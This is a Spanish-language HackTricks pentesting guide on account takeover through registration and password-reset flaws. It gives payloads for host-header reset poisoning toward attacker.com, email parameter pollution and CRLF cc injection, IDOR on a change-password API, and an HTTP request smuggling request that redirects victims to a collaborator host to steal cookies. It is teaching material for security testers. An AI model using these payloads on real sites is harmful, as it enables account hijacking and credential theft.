hacktricks/pentesting-web/registration-vulnerabilities.md

10 KiB

Vulnerabilidades de Registro y Adquisición

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Adquisición de Registro

Registro Duplicado

  • Intenta generar usando un nombre de usuario existente
  • Verifica variando el correo electrónico:
  • mayúsculas
  • +1@
  • añade algo en el correo electrónico
  • caracteres especiales en el nombre del correo electrónico (%00, %09, %20)
  • Pon caracteres en blanco después del correo electrónico: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeración de Nombres de Usuario

Verifica si puedes determinar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.

Política de Contraseñas

Al crear un usuario verifica la política de contraseñas (comprueba si puedes usar contraseñas débiles).
En ese caso, podrías intentar fuerza bruta para obtener las credenciales.

Inyección SQL

Consulta esta página para aprender cómo intentar adquisiciones de cuenta o extraer información a través de Inyecciones SQL en formularios de registro.

Adquisiciones de Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilidades de SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Cambio de Correo Electrónico

Cuando estés registrado intenta cambiar el correo electrónico y verifica si este cambio está correctamente validado o si puedes cambiarlo por correos electrónicos arbitrarios.

Más Comprobaciones

  • Verifica si puedes usar correos electrónicos desechables
  • Contraseña larga (>200) puede provocar DoS
  • Verifica los límites de tasa en la creación de cuentas
  • Usa username@burp_collab.net y analiza el callback

Adquisición de Restablecimiento de Contraseña

Fuga del Token de Restablecimiento de Contraseña a través del Referente

  1. Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico
  2. Haz clic en el enlace de restablecimiento de contraseña
  3. No cambies la contraseña
  4. Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
  5. Intercepta la solicitud en el proxy de Burp Suite
  6. Verifica si la cabecera del referente está filtrando el token de restablecimiento de contraseña.

Envenenamiento de Restablecimiento de Contraseña

  1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
  2. Añade o edita las siguientes cabeceras en Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Envía la solicitud con la cabecera modificada
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Busca una URL de restablecimiento de contraseña basada en la cabecera del host como: https://attacker.com/reset-password.php?token=TOKEN

Restablecimiento de Contraseña a través del Parámetro de Correo Electrónico

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR en Parámetros de API

  1. El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña.
  2. Iniciar Burp Suite e Intercepta la solicitud
  3. Envíala a la pestaña repetidor y edita los parámetros: ID de usuario/correo electrónico
    powershell POST /api/changepass [...] ("form": {"email":"victima@email.com","password":"securepwd"})

Token de Restablecimiento de Contraseña Débil

El token de restablecimiento de contraseña debe generarse de manera aleatoria y ser único cada vez.
Intenta determinar si el token expira o si siempre es el mismo, en algunos casos el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.

  • Timestamp
  • UserID
  • Email del Usuario
  • Nombre y Apellido
  • Fecha de Nacimiento
  • Criptografía
  • Solo Números
  • Secuencia de token pequeña (caracteres entre [A-Z,a-z,0-9])
  • Reutilización de token
  • Fecha de expiración del token

Fuga de Token de Restablecimiento de Contraseña

  1. Genera una solicitud de restablecimiento de contraseña usando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com
  2. Inspecciona la respuesta del servidor y busca resetToken
  3. Luego usa el token en una URL como https://example.com/v3/user/password/reset?resetToken=[EL_RESET_TOKEN]&email=[EL_CORREO]

Restablecimiento de Contraseña Vía Colisión de Nombre de Usuario

  1. Regístrate en el sistema con un nombre de usuario idéntico al del usuario víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario, por ejemplo: "admin "
  2. Solicita un restablecimiento de contraseña con tu nombre de usuario malicioso.
  3. Usa el token enviado a tu correo electrónico y restablece la contraseña de la víctima.
  4. Conéctate a la cuenta de la víctima con la nueva contraseña.

La plataforma CTFd fue vulnerable a este ataque.
Ver: CVE-2020-7245

Toma de Control de Cuenta Vía Cross Site Scripting

  1. Encuentra un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal: *.domain.com
  2. Fuga la cookie de sesión actual
  3. Autentícate como el usuario utilizando la cookie

Toma de Control de Cuenta Vía HTTP Request Smuggling

1. Usa smuggler para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Elabora una solicitud que sobrescribirá el POST / HTTP/1.1 con los siguientes datos:
GET http://algo.burpcollaborator.net HTTP/1.1 X: con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies
3. La solicitud final podría verse como la siguiente

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Informes de Hackerone que explotan este bug

Toma de control de cuenta vía CSRF

  1. Crear un payload para el CSRF, por ejemplo: "Formulario HTML con autoenvío para cambio de contraseña"
  2. Enviar el payload

Toma de control de cuenta vía JWT

El JSON Web Token podría usarse para autenticar a un usuario.

  • Editar el JWT con otro ID de Usuario / Email
  • Verificar la firma débil del JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: